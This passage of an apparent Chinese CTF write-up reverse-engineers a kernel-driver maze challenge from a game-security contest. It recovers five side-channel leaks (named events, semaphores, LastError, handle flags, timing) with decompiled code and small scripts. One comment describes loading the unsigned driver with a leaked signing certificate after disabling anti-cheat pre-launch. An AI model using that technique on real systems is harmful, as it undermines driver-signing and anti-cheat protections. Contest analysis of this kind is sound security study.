mpa-font-style="moav6cm65kj" style="font-size: 15px;"><span leaf="">1. 两个对象名</span></span></h4><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm6e7u" style="font-size: 15px;"><span leaf="">①MazeMoveOK 事件</span></span></h4><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm61c5x" style="font-size: 15px;">类型：命名事件</span></p></li><li><p><span mpa-font-style="moav6cm6nno" style="font-size: 15px;"><span leaf="">对象名：</span><strong><span leaf="">Global\MazeMoveOK</span></strong></span></p></li><li><p><span mpa-font-style="moav6cm6pz8" style="font-size: 15px;"><span leaf="">驱动侧实现：</span><strong><span leaf="">ZwOpenEvent + ZwSetEvent</span></strong></span></p></li><li><p><span leaf="" mpa-font-style="moav6cm6f0q" style="font-size: 15px;">含义：成功相关反馈槽位</span></p></li></ul><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm6f56" style="font-size: 15px;"><span leaf="">②MazeMoveWall 事件</span></span></h4><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm61nlb" style="font-size: 15px;">类型：命名事件</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm61uy" style="font-size: 15px;">对象名：Global\MazeMoveWall</span></p></li><li><p><span mpa-font-style="moav6cm6a4f" style="font-size: 15px;"><span leaf="">驱动侧实现：</span><strong><span leaf="">ZwOpenEvent + ZwSetEvent</span></strong></span></p></li><li><p><span leaf="" mpa-font-style="moav6cm65d5" style="font-size: 15px;">含义：失败/撞墙相关反馈槽位</span></p></li></ul><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm61idk" style="font-size: 15px;"><span leaf="">2. 两个 GUID</span></span></h4><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm6exe" style="font-size: 15px;"><span leaf="">①GUID1 命名信号量</span></span></h4><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm61ix9" style="font-size: 15px;">类型：命名信号量</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm6uce" style="font-size: 15px;">对象名：</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><strong mpa-font-style="moav6cm6qvf" style="font-size: 15px;"><span leaf="">Global{A7F3B2C1-9E4D-4C8A-B5D6-1F2E3A4B5C6D}</span></strong></li></ul><li><p><span leaf="" mpa-font-style="moav6cm61667" style="font-size: 15px;">驱动侧实现：</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm6izc" style="font-size: 15px;">解码对象名</span></p></li><li><strong mpa-font-style="moav6cm61cm6" style="font-size: 15px;"><span leaf="">ObReferenceObjectByName</span></strong></li><li><strong mpa-font-style="moav6cm61y3q" style="font-size: 15px;"><span leaf="">KeReleaseSemaphore</span></strong></li></ul><li><p><span leaf="" mpa-font-style="moav6cm622xa" style="font-size: 15px;">含义：成功相关反馈槽位</span></p></li></ul><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm61dus" style="font-size: 15px;"><span leaf="">②GUID2 命名信号量</span></span></h4><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm68qg" style="font-size: 15px;">类型：命名信号量</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm66on" style="font-size: 15px;">对象名：</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><strong mpa-font-style="moav6cm61b8g" style="font-size: 15px;"><span leaf="">Global{B8E2C3D0-0F5A-5D9B-C6E7-2A3F4B5C6D7E}</span></strong></li></ul><li><p><span leaf="" mpa-font-style="moav6cm61dej" style="font-size: 15px;">驱动侧实现同上</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm615bk" style="font-size: 15px;">含义：失败/撞墙相关反馈槽位</span></p></li></ul><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm6ydp" style="font-size: 15px;"><span leaf="">3. LastError</span></span></h4><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm6171y" style="font-size: 15px;">类型：线程用户态上下文回写</span></p></li><li><p><span mpa-font-style="moav6cm6fjw" style="font-size: 15px;"><span leaf="">驱动侧关键函数：</span><strong><span leaf="">sub_140316ADF</span></strong></span></p></li><li><p><span leaf="" mpa-font-style="moav6cm61krk" style="font-size: 15px;">关键行为：</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span mpa-font-style="moav6cm6635" style="font-size: 15px;"><span leaf="">写</span><strong><span leaf="">+0x68 （TEB -&gt; LastErrorValue）</span></strong></span></p></li></ul><li><p><span leaf="" mpa-font-style="moav6cm61n0c" style="font-size: 15px;">写入值包括：</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><strong mpa-font-style="moav6cm6fw7" style="font-size: 15px;"><span leaf="">0xC0DE0001 -&gt; ok</span></strong></li><li><strong mpa-font-style="moav6cm61p4v" style="font-size: 15px;"><span leaf="">0xC0DE0000 -&gt; wall</span></strong></li></ul></ul><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm61d1h" style="font-size: 15px;"><span leaf="">4. ZwSetInformationObject</span></span></h4><p><span mpa-font-style="moav6cm610yq" style="font-size: 15px;"><span leaf="">每次</span><strong><span leaf="">move</span></strong><span leaf="">前先调用</span><code><span leaf="">SetHandleInformation(h, HANDLE_FLAG_PROTECT_FROM_CLOSE, 0)</span></code><span leaf="">进行清零，在</span><strong><span leaf="">move</span></strong><span leaf="">后调用</span><code><span leaf="">GetHandleInformation(h, &amp;flags)</span></code></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm61vxf"><span leaf="">if( flags </span><span leaf="">&amp;</span><span leaf=""> HANDLE_FLAG_PROTECT_FROM_CLOSE </span><span leaf="">!=</span><span leaf=""><span class="code-snippet__number">0</span>)</span><span leaf=""><br/></span><span leaf="">   handle_ok </span><span leaf="">=</span><span leaf=""><span class="code-snippet__literal">true</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">else</span></span><span leaf=""><br/></span><span leaf="">   handle_ok </span><span leaf="">=</span><span leaf=""><span class="code-snippet__literal">False</span></span></code></pre></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm6fvq" style="font-size: 15px;">handle_ok = True</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm6pem" style="font-size: 15px;">表示：成功</span></p></li></ul><li><p><span leaf="" mpa-font-style="moav6cm61qzv" style="font-size: 15px;">handle_ok = False</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm6158t" style="font-size: 15px;">表示：失败/撞墙</span></p></li></ul></ul><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm6mmc" style="font-size: 15px;"><span leaf="">5. KeDelayExecutionThread</span></span></h4><p><span mpa-font-style="moav6cm61syh" style="font-size: 15px;"><span leaf="">函数会通过</span><strong><span leaf="">KUSER_SHARED_DATA</span></strong><span leaf="">访问</span><strong><span leaf="">TickCountLowDeprecated</span></strong><span leaf="">，并且在异或后被编码进入返回缓冲，可以在用户层恢复被驱动使用的这个</span><strong><span leaf="">Tick</span></strong><span leaf="">值。</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm611j0"><span leaf="">tick_xor</span><span leaf=""> = struct.unpack_from(<span class="code-snippet__string">&#34;&lt;I&#34;</span>, raw, <span class="code-snippet__number">0</span>)[<span class="code-snippet__number">0</span>]</span><span leaf=""><br/></span><span leaf="">tick</span><span leaf=""> = tick_xor ^ <span class="code-snippet__number">0</span>xBAADF00D</span></code></pre></p><p><span leaf="" mpa-font-style="moav6cm6trl" style="font-size: 15px;">然后计算</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm646z"><span leaf="">predicted_ms</span><span leaf=""> = (tick % <span class="code-snippet__number">50</span>) + <span class="code-snippet__number">10</span></span></code></pre></p><p><span mpa-font-style="moav6cm61uzw" style="font-size: 15px;"><span leaf="">就是理论上这个线路被延时的毫秒数，然后我们可以计算一个</span><strong><span leaf="">IO</span></strong><span leaf="">请求的耗时</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm6189o"><span leaf=""> t0 = <span class="code-snippet__built_in">time</span>.perf_counter()</span><span leaf=""><br/></span><span leaf=""> DeviceIoControl(...)</span><span leaf=""><br/></span><span leaf=""> time_ms = (<span class="code-snippet__built_in">time</span>.perf_counter() - t0) * <span class="code-snippet__number">1000.0</span></span></code></pre></p><p><span mpa-font-style="moav6cm61ts" style="font-size: 15px;"><span leaf="">如果</span><strong><span leaf="">predicted_ms</span></strong><span leaf="">和</span><strong><span leaf="">time_ms</span></strong><span leaf="">很接近，就能说明本次触发到了该泄漏点，但是无法判断具体的结果。</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm61c35" style="font-size: 15px;">很接近</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm61xwq" style="font-size: 15px;">表示：命中该泄漏点，应重试，直到命中前几个可明确结果泄漏点</span></p></li></ul><li><p><span leaf="" mpa-font-style="moav6cm61jgv" style="font-size: 15px;">不接近</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span mpa-font-style="moav6cm61ha0" style="font-size: 15px;"><span leaf="">表示：应观测其他泄漏点获取本次</span><strong><span leaf="">move</span></strong><span leaf="">的结果</span></span></p></li></ul></ul><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm61784" style="font-size: 15px;"><span leaf="">总结</span></span></h3><p><span mpa-font-style="moav6cm61y49" style="font-size: 15px;"><span leaf="">在二进制文件中放了大量的小混淆，导致不管是正向分析还是逆向分析，都不舒服，比如发现了某一个函数，发现</span><strong><span leaf="">xref</span></strong><span leaf="">不可用，因为上游的调用点有花指令，混淆等，导致了</span><strong><span leaf="">IDA</span></strong><span leaf="">不能正确分析，在驱动分析中尤其明显，但是由于驱动导入表暴露了大量的信息，所以都可以通过导入表入手，不完整的分析全流程，也能得到相关结论，如果赛题在导入函数上做手脚，比如动态解析，难度会更大。</span></span></p><p><span mpa-font-style="moav6cm61c8w" style="font-size: 15px;"><span leaf="">很好本来都要提交了，感觉这个寻路脚本咋会这么慢，时间还不稳定，又重新用IDA看了一眼驱动，发现有随机的</span><strong><span leaf="">Sleep</span></strong><span leaf="">感觉大概率是没找齐全，然后就找到了之前没找到的两个泄漏点（但是他们没有影响我得到flag....）</span></span></p><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm622rn" style="font-size: 15px;"><span leaf="">一、赛题文件</span></span></h2><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm6139b" style="font-size: 15px;"><span leaf="">文档：2026游戏安全技术竞赛-PC客户端安全-初赛.docx</span></span></h2><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm61m9s"><span leaf=""><span class="code-snippet__comment">#「宫殿」的验证机制并不寻常：系统由用户态控制台和内核驱动组成，驱动内部隐藏着一个加密迷阵，所有操作指令必须由控制台通过驱动接口下</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 发。表面上，系统不会对你的任何操作给出反馈——你无法直接判断每一步操作是成功推进，还是被防线拦截。</span></span></code></pre></p><p><span leaf="" mpa-font-style="moav6cm6vbt" style="font-size: 15px;">从上述文本能够判断是迷宫题目，但是应该不是简单的迷宫，应该无法通过传统的迷宫分析方法分析，需要完整的逆向，至少要找到文档中提到的：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm613h7"><span leaf=""><span class="code-snippet__comment"># 某些异常现象暗示着隐藏的信息泄露。找到这些线索，你就能感知每一步的结果；发现得越多，破解效率越高。</span></span></code></pre></p><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm6zq6" style="font-size: 15px;"><span leaf="">二、应用层：ShadowGateApp.exe</span></span></h2><p><span leaf="" mpa-font-style="moav6cm61tiu" style="font-size: 15px;">并未发现有保护壳，直接运行得到：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm61liy"><span leaf="">C:\Users\Euarno\Desktop\<span class="code-snippet__number">2026</span>游戏安全技术竞赛</span><span leaf="">-</span><span leaf="">PC客户端安全</span><span leaf="">-</span><span leaf="">初赛</span><span leaf="">&gt;</span><span leaf="">ShadowGateApp.exe</span><span leaf=""><br/></span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf=""><br/></span><span leaf="">    Shadow Palace Gate  </span><span leaf="">-</span><span leaf="">  ACCESS DENIED</span><span leaf=""><br/></span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf="">=</span><span leaf=""><br/></span><span leaf="">  ACE has intercepted Shadow<span class="code-snippet__string">&#39;s palace gate</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">  system. A kernel driver hides an encrypted</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">  maze inside. Navigate through it to extract</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">  the credential for Shadow&#39;</span>s internal network.</span><span leaf=""><br/></span><span leaf="">  The palace gives <span class="code-snippet__keyword">NO</span> feedback <span class="code-snippet__keyword">on</span> whether</span><span leaf=""><br/></span><span leaf="">  your moves succeed <span class="code-snippet__keyword">or</span> hit a wall.</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">Or</span> does it? The <span class="code-snippet__keyword">system</span> <span class="code-snippet__keyword">is</span> <span class="code-snippet__keyword">not</span> <span class="code-snippet__keyword">as</span> silent</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">as</span> it seems. Five hidden flaws betray</span><span leaf=""><br/></span><span leaf="">  the <span class="code-snippet__keyword">result</span> <span class="code-snippet__keyword">of</span> <span class="code-snippet__keyword">every</span> move 鈥?but <span class="code-snippet__keyword">each</span> move</span><span leaf=""><br/></span><span leaf="">  exposes <span class="code-snippet__keyword">only</span> <span class="code-snippet__keyword">one</span> <span class="code-snippet__keyword">of</span> them.</span><span leaf=""><br/></span><span leaf="">  Hint: after <span class="code-snippet__keyword">each</span> reset, the <span class="code-snippet__keyword">first</span> five</span><span leaf=""><br/></span><span leaf="">  successful moves reveal <span class="code-snippet__keyword">each</span> flaw exactly</span><span leaf=""><br/></span><span leaf="">  once, <span class="code-snippet__keyword">in</span> a fixed order.</span><span leaf=""><br/></span><span leaf="">[</span><span leaf="">*</span><span leaf="">] Connecting <span class="code-snippet__keyword">to</span> Shadow gate driver...</span><span leaf=""><br/></span><span leaf="">[</span><span leaf="">+</span><span leaf="">] Gate <span class="code-snippet__keyword">module</span> online.</span><span leaf=""><br/></span><span leaf="">[</span><span leaf="">*</span><span leaf="">] Maze grid: <span class="code-snippet__number">13</span>x13, Entry</span><span leaf="">=</span><span leaf="">(<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>), Exit</span><span leaf="">=</span><span leaf="">(<span class="code-snippet__number">12</span>,<span class="code-snippet__number">12</span>)</span><span leaf=""><br/></span><span leaf="">Commands:</span><span leaf=""><br/></span><span leaf="">  W</span><span leaf="">/</span><span leaf="">A</span><span leaf="">/</span><span leaf="">S</span><span leaf="">/</span><span leaf="">D    </span><span leaf="">-</span><span leaf=""> Navigate Up</span><span leaf="">/</span><span leaf=""><span class="code-snippet__keyword">Left</span></span><span leaf="">/</span><span leaf="">Down</span><span leaf="">/</span><span leaf=""><span class="code-snippet__keyword">Right</span></span><span leaf=""><br/></span><span leaf="">  I</span><span leaf="">/</span><span leaf="">J</span><span leaf="">/</span><span leaf="">K</span><span leaf="">/</span><span leaf="">L    </span><span leaf="">-</span><span leaf=""> Navigate Up</span><span leaf="">/</span><span leaf=""><span class="code-snippet__keyword">Left</span></span><span leaf="">/</span><span leaf="">Down</span><span leaf="">/</span><span leaf=""><span class="code-snippet__keyword">Right</span> (alt)</span><span leaf=""><br/></span><span leaf="">  R          </span><span leaf="">-</span><span leaf=""> Reset <span class="code-snippet__keyword">to</span> entry point</span><span leaf=""><br/></span><span leaf="">  T          </span><span leaf="">-</span><span leaf=""><span class="code-snippet__keyword">Show</span> operation <span class="code-snippet__built_in">log</span> (position hidden)</span><span leaf=""><br/></span><span leaf="">  H          </span><span leaf="">-</span><span leaf=""><span class="code-snippet__keyword">Show</span> this help</span><span leaf=""><br/></span><span leaf="">  Q </span><span leaf="">/</span><span leaf=""> ESC    </span><span leaf="">-</span><span leaf=""> Abort mission</span></code></pre></p><p><span mpa-font-style="moav6cm61p15" style="font-size: 15px;"><span leaf="">可以有一个基本的了解</span><strong><span leaf="">13*13</span></strong><span leaf="">的迷宫，</span><strong><span leaf="">“The palace gives NO feedback on whether your moves succeed or hit a wall.”</span></strong><span leaf="">表面不会有反馈，</span><strong><span leaf="">“Five hidden flaws betray the result of every move ”</span></strong><span leaf="">要通过五个侧信道得到迷宫的反馈，**“after each reset, the first five successful moves reveal each flaw exactly once, in a fixed order. ”**每次你按</span><strong><span leaf="">R</span></strong><span leaf="">重置后，前</span><strong><span leaf="">5</span></strong><span leaf="">次成功移动会依次触发五种不同的泄露机制，顺序是固定的。(这里其实还是有一点疑惑的，最终只找到了三类泄露方式，但也可以算作五个泄漏点)</span></span></p><p><span leaf="" mpa-font-style="moav6cm68sc" style="font-size: 15px;">字符串没有做混淆，在字符串表暴露了很多信息。结合字符串的交叉引用，有如下分析：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm622cs"><span leaf="">__int64 </span><span leaf="">OpenShadowGateDevice</span><span leaf="">()</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">  __int64 result; <span class="code-snippet__comment">// rax</span></span><span leaf=""><br/></span><span leaf="">DWORD</span><span leaf="">LastError</span><span leaf="">; <span class="code-snippet__comment">// edi</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//设备路径</span></span><span leaf=""><br/></span><span leaf="">  result </span><span leaf="">=</span><span leaf=""> (__int64)</span><span leaf="">CreateFileW</span><span leaf="">(</span><span leaf="">L</span><span leaf=""><span class="code-snippet__string">&#34;</span></span><span leaf=""><span class="code-snippet__string">\\</span></span><span leaf=""><span class="code-snippet__string">\\</span></span><span leaf=""><span class="code-snippet__string">.</span></span><span leaf=""><span class="code-snippet__string">\\</span></span><span leaf=""><span class="code-snippet__string">ShadowGate&#34;</span>, <span class="code-snippet__number">0xC0000000</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, 3u, 0x80u, <span class="code-snippet__number">0</span>);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( result </span><span leaf="">==</span><span leaf="">-</span><span leaf=""><span class="code-snippet__number">1</span> )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">LastError</span><span leaf="">=</span><span leaf="">GetLastError</span><span leaf="">();</span><span leaf=""><br/></span><span leaf="">    sub_140001010(<span class="code-snippet__string">&#34;[ERROR] Failed to open device &#39;%ws&#39;</span></span><span leaf=""><span class="code-snippet__string">\n</span></span><span leaf=""><span class="code-snippet__string">&#34;</span>, </span><span leaf="">L</span><span leaf=""><span class="code-snippet__string">&#34;</span></span><span leaf=""><span class="code-snippet__string">\\</span></span><span leaf=""><span class="code-snippet__string">\\</span></span><span leaf=""><span class="code-snippet__string">.</span></span><span leaf=""><span class="code-snippet__string">\\</span></span><span leaf=""><span class="code-snippet__string">ShadowGate&#34;</span>);</span><span leaf=""><br/></span><span leaf="">    sub_140001010(<span class="code-snippet__string">&#34;[ERROR] Error code: %lu (0x%08lX)</span></span><span leaf=""><span class="code-snippet__string">\n</span></span><span leaf=""><span class="code-snippet__string">&#34;</span>, </span><span leaf="">LastError</span><span leaf="">, </span><span leaf="">LastError</span><span leaf="">);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( </span><span leaf="">LastError</span><span leaf="">==</span><span leaf=""><span class="code-snippet__number">2</span> )</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//要求我们应该提前加载好驱动 驱动没有签名 我的解决方案是找一个泄露签名 退出ACE预启动 即可加载</span></span><span leaf=""><br/></span><span leaf="">      sub_140001010(<span class="code-snippet__string">&#34;[HINT] Driver not loaded. Use: sc create ShadowGate type=kernel binPath=&lt;path&gt;</span></span><span leaf=""><span class="code-snippet__string">\\</span></span><span leaf=""><span class="code-snippet__string">ShadowGateSys.sys</span></span><span leaf=""><span class="code-snippet__string">\n</span></span><span leaf=""><span class="code-snippet__string">&#34;</span>);</span><span leaf=""><br/></span><span leaf="">      sub_140001010(<span class="code-snippet__string">&#34;[HINT] Then: sc start ShadowGate</span></span><span leaf=""><span class="code-snippet__string">\n</span></span><span leaf=""><span class="code-snippet__string">&#34;</span>);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> </span><span leaf="">-</span><span leaf=""><span class="code-snippet__number">1</span>;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">else</span></span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( </span><span leaf="">LastError</span><span leaf="">==</span><span leaf=""><span class="code-snippet__number">5</span> )</span><span leaf=""><br/></span><span leaf="">        sub_140001010(<span class="code-snippet__string">&#34;[HINT] Run as Administrator.</span></span><span leaf=""><span class="code-snippet__string">\n</span></span><span leaf=""><span class="code-snippet__string">&#34;</span>);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> </span><span leaf="">-</span><span leaf=""><span class="code-snippet__number">1</span>;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> result;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span leaf="" mpa-font-style="moav6cm61lmd" style="font-size: 15px;">虽然还没有分析驱动，但是应用创建了两个全局命名事件，名称强烈暗示它们分别对应移动成功和撞墙，即失败。</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm6gi2"><span leaf="">HANDLE CreateLeakEvents</span><span leaf="">()</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">  HANDLE <span class="code-snippet__keyword">result</span>; // rax</span><span leaf=""><br/></span><span leaf="">  hObject = CreateEventW</span><span leaf="">(</span><span leaf=""><span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">0</span>, L<span class="code-snippet__string">&#34;Global\\MazeMoveOK&#34;</span></span><span leaf="">)</span><span leaf="">;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">result</span> = CreateEventW</span><span leaf="">(</span><span leaf=""><span class="code-snippet__number">0</span>, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">0</span>, L<span class="code-snippet__string">&#34;Global\\MazeMoveWall&#34;</span></span><span leaf="">)</span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  qword_140005688 = <span class="code-snippet__keyword">result</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">result</span>;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span mpa-font-style="moav6cm613ft" style="font-size: 15px;"><span leaf="">通信方面使用了最基本的</span><strong><span leaf="">IO</span></strong><span leaf="">通讯，分析</span><strong><span leaf="">DeviceIoControl</span></strong><span leaf="">的交叉引用可以得到所有的</span><strong><span leaf="">IO</span></strong><span leaf="">码。</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 